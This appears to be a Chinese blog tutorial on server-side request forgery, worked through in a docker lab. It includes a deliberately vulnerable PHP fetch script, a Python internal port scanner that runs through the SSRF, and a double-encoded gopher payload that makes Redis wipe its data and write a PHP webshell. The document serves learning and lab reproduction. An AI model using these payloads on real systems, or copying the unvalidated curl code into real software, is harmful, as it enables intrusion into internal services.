SSRF一篇文章实战举例全面学懂

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: SSRF一篇文章实战举例全面学懂

前言

Gopher协议在SSRF漏洞中的深入研究(附视频讲解) - 知乎 (zhihu.com)

上面这篇文章真的写的很好,是目前看过最好的将SSRF(服务端请求伪造)和Gopher协议的内容。

然后这种题型,我记得在之前的文章,金砖里有个云启的练习,用的就是SSRF漏洞+file协议,呜呜呜那时候还不知道是啥。现在回首原来如此。

SSRF

环境的搭建

首先推荐的还是docker,我已经将搭建好的环境打包成了镜像推送到了云,可以直接拉取。

docker pull uniqueelven/ssrf:redis

docker pull uniqueelven/ssrf:php

docker pull uniqueelven/ssrf:mysql

主要就是由以上三部分内容构成的。以下附上ms08067的源码,我是看他的课程学习的,此文章做一个资源整合和总结

ersion: '2'
services:
 php:
   image: polinux/httpd-php
   volumes:
    - ./www:/var/www/html
   networks:
    - ssrf-ms08067
   ports:
    - "8082:80"
 mysql:
   image: vulhub/mysql:5.5.23
   networks:
    - ssrf-ms08067
   ports:
    - "3306"
 redis:
   image: vulhub/redis:4.0.14
   networks:
    - ssrf-ms08067
   ports:
    - "6379"
networks:
  ssrf-ms08067:
    driver: bridge

(踩个坑,以后redis最好像上面这样指定版本,因为我现在这个dokcer下载默认最新版的redis可能会出现无法成功运行的问题,我不知道为啥)

curl.php

<?php
    $location=$_GET['path']; // Get the URL from the user.
    $curl = curl_init();
    curl_setopt ($curl, CURLOPT_URL, $location); // Not validating the input. Trusting the location variable
    curl_exec ($curl); 
    curl_close ($curl);
?>

index.php

<html>
    <head>
         <style> div.main { margin-left:auto; margin-right:auto; width:50%; } body { background-color:  #f5f5f0; }</style>
   <title>
        Awesome Script!
        </title>
    </head>
    <body>
    <div class="main">
  <h1>Welcome to the Awesome Script</h1>
    <p>Here you will be able to load any page you want. You won't have to worry about revealing your IP anymore! We use the cURL library in order to perform the HTTP requests. Have fun!</p>
    <br>
    <form method="GET" action="curl.php">
        <input type="text" value="Website to load..." name="path">
        <input type="submit" value="Submit">
    </form>
</div>
    </body>
</html>

关于docker的启动可以看我前面关于docker介绍的文章。

题目复现

访问页面,尝试访问本机内部的flag文件,可以成功访问

使用命令docker inspect ID可以查看容器内部网卡等信息。

得到redis:172.19.0.4,php:172.19.0.3,mysql:172.19.0.2

通过burp抓包发现,没有内容的时候返回信息长度是2,有返回信息时候就不是,比如下面有端口打开,就是这样的。

通过长度关键信息,我们可以写探测脚本:

#!/usr/bin/python3
# -*- coding-utf-8 -*-

import requests
import optparse

def portscan(targetURL, scout):
    # 待检测端口
    ports = [21, 22, 23, 25, 80, 443, 445, 873,
             1080, 1099, 1090, 1521, 3306, 6379, 27017]
    # 判断是单个地址还是地址段
    if '-' in scout:
        # 循环扫描每个地址
        for i in range(int(scout.split('-')[0].split('.')[3]), int(scout.split('-')[1].split('.')[3]) + 1):
            host = scout.split('-')[0].split('.')[0] + '.' + scout.split('-')[0].split(
                '.')[1] + '.' + scout.split('-')[0].split('.')[2] + '.' + str(i)
            print("\n" + "===" + host + "===" + '\n')
            for port in ports:
                URL = targetURL + str(host) + ":" + str(port)
                respone = requests.get(URL, timeout=6)
                # 页面返回内容大于2说明端口开放
                if len(respone.text) > 2:
                    print(str(port) + "\n")
                else:
                    pass
            print("\n" + "="*16 + '\n')
    # 扫描单个地址
    else:
        print("\n" + "===" + scout + "===" + '\n')
        for port in ports:
            URL = targetURL + scout + ":" + str(port)
            respone = requests.get(URL, timeout=6)
            # 页面返回内容大于2说明端口开放
            if len(respone.text) > 2:
                print(str(port) + "\n")
            else:
                pass
        print("\n" + "="*16 + '\n')  
  

if __name__ == '__main__':
    parser = optparse.OptionParser('usage: python3 %prog targetURL scout \n\n'
                                'Example: python3 %prog -t http://192.168.1.1:8082/curl.php?path= -s 192.168.1.2\n')
    parser.add_option('-t', '--targetURL', dest='targetURL',
                      default='http://192.168.1.1:8082/curl.php?path=', help='targetURL')
    parser.add_option('-s', '--scout', dest='scout',
                      default='192.168.1.2', help='192.168.1.2 or 192.168.1.1-192.168.1.255')
    (options, args) = parser.parse_args()
    portscan(options.targetURL, options.scout)

使用pyhton脚本探测内网

ssrf+redis

由于内网还有环境开放了,我们访问不到,但是可以通过这个暴露在外部的php服务器的ssrf来探测内网的redis,再通过redis的漏洞来写shell。

在PHP在接收到参数后会做一次URL的解码,%20等字符已经被转码为空格。所以,curl_exec在发起gopher时用的就是没有进行URL编码的值,会导致不成功,所以我们要进行二次URL编码

以下是我们要执行的操作

flushall 命令用于清空整个 Redis 服务器的数据,感觉还是别乱用,不然ctf怕清了flag

config set dir /tmp

config set dbfilename shell.php

set ‘webshell’ ‘<?php phpinfo();?>’

save

构造payload:

gopher://172.19.0.4:6379/_flushall%0d%0aconfig%20set%20dir%20/tmp%0d%0aconfig%20set%20dbfilename%20shell.php%0d%0aset%20'webshell'%20'<?php phpinfo();?>'%0d%0asave%0d%0a

然后二次编码,再提交:

http://192.168.150.131:8082/curl.php?path=%67%6f%70%68%65%72%3a%2f%2f%31%37%32%2e%31%39%2e%30%2e%34%3a%36%33%37%39%2f%5f%66%6c%75%73%68%61%6c%6c%25%30%64%25%30%61%63%6f%6e%66%69%67%25%32%30%73%65%74%25%32%30%64%69%72%25%32%30%2f%74%6d%70%25%30%64%25%30%61%63%6f%6e%66%69%67%25%32%30%73%65%74%25%32%30%64%62%66%69%6c%65%6e%61%6d%65%25%32%30%73%68%65%6c%6c%2e%70%68%70%25%30%64%25%30%61%73%65%74%25%32%30%27%77%65%62%73%68%65%6c%6c%27%25%32%30%27%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%27%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61

完美!

redis安全

参考链接

SSRF漏洞原理攻击与防御(超详细总结)

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
SQL 应用服务中间件 nginx
python技术面试题(十二)--SQL注入、项目部署
python技术面试题(十二)--SQL注入、项目部署
|
4月前
|
数据采集 Java 数据库连接
《花100块做个摸鱼小网站! 》第二篇—后端应用搭建和完成第一个爬虫
本文详细介绍了一个基于Spring Boot的后端应用搭建过程,包括Maven项目结构的规划与配置、依赖管理、环境变量配置、数据库连接配置等。作者通过实际案例——一个摸鱼小网站的开发,逐步引导读者理解并实践项目的搭建流程。此外,还分享了如何利用Postman从cURL命令快速生成HTTP请求代码的方法,并演示了如何将这些代码整合进项目中,实现了一个简单的定时爬取抖音热搜数据的功能。文章不仅提供了详尽的代码示例,还附带了丰富的截图说明,非常适合希望从零开始构建Web应用的开发者参考学习。
69 3
《花100块做个摸鱼小网站! 》第二篇—后端应用搭建和完成第一个爬虫
|
5月前
|
安全 网络协议 关系型数据库
豆瓣评分8.6!破晓大牛仅用一份手册就把Web安全讲明白了!
纵观国内网络安全方面的书籍,大多数都是只介绍结果,从未更多地考虑过程。而今天给小伙伴们分享的这份手册恰恰是从实用角度出发,本着务实的精神,先讲原理,再讲过程,最后讲结果,是每个从事信息安全的从业人员不可多得的一本实用大全。 这份手册总结了当前流行的高危漏洞的形成原因、攻击手段及解决方案,并通过大量的示例代码复现漏洞原型,制作模拟环境,更好地帮助读者深入了解 Web应用程序中存在的漏洞,防患于未然。 从攻到防,从原理到实战,由浅入深、循序渐进地介绍了Web安全体系。全书分4篇共16章,除介绍 Web 安全的基础知识外,还介绍了Web应用程序中最常见的安全漏洞、开源程序的攻击流程与防御,并着重分析
|
4月前
|
数据采集 JSON 数据处理
基于Python的B站(哔哩哔哩)视频评论采集,可破解反爬手段,想爬几条爬几条
本文介绍了一个基于Python的B站(哔哩哔哩)视频评论采集工具,能够通过输入视频的av号、BV号或链接,并使用特定的cookie和请求头信息来绕过反爬手段,实现大规模的评论数据采集,并支持将数据解析并保存为CSV格式。
108 0
|
6月前
|
数据采集 XML 存储
技术经验分享:C#构造蜘蛛爬虫程序
技术经验分享:C#构造蜘蛛爬虫程序
39 0
|
数据采集 存储 搜索推荐
Python爬虫实战:如何避免被禁止请求
爬虫是一种自动从互联网上获取数据的程序,它可以用于各种目的,例如搜索引擎、数据分析、网络安全等。然而,爬虫也可能遇到一些困难和挑战,例如被目标网站禁止请求。禁止请求是指网站通过一些技术手段,阻止或限制爬虫访问其内容,例如返回403 Forbidden或503 Service Unavailable等状态码,或者重定向到其他页面,或者要求输入验证码等。禁止请求的情况会影响爬虫的正常运行和数据获取,因此,我们需要了解如何应对和解除禁止请求的情况。
256 0
Python爬虫实战:如何避免被禁止请求
|
数据采集 存储 安全
程序人生 - 一文告诉你,爬虫技术到底违不违法,怎么用才合法?
程序人生 - 一文告诉你,爬虫技术到底违不违法,怎么用才合法?
753 0
程序人生 - 一文告诉你,爬虫技术到底违不违法,怎么用才合法?
|
PHP 数据库
老司机竟然在判断返回结果上翻车了(ThinkPHP)
老司机竟然在判断返回结果上翻车了(ThinkPHP)
140 0
老司机竟然在判断返回结果上翻车了(ThinkPHP)
|
数据采集 安全 搜索推荐
程序人生 - 不要触犯法律,编写安全爬虫的几点建议
程序人生 - 不要触犯法律,编写安全爬虫的几点建议
142 0
下一篇
DataWorks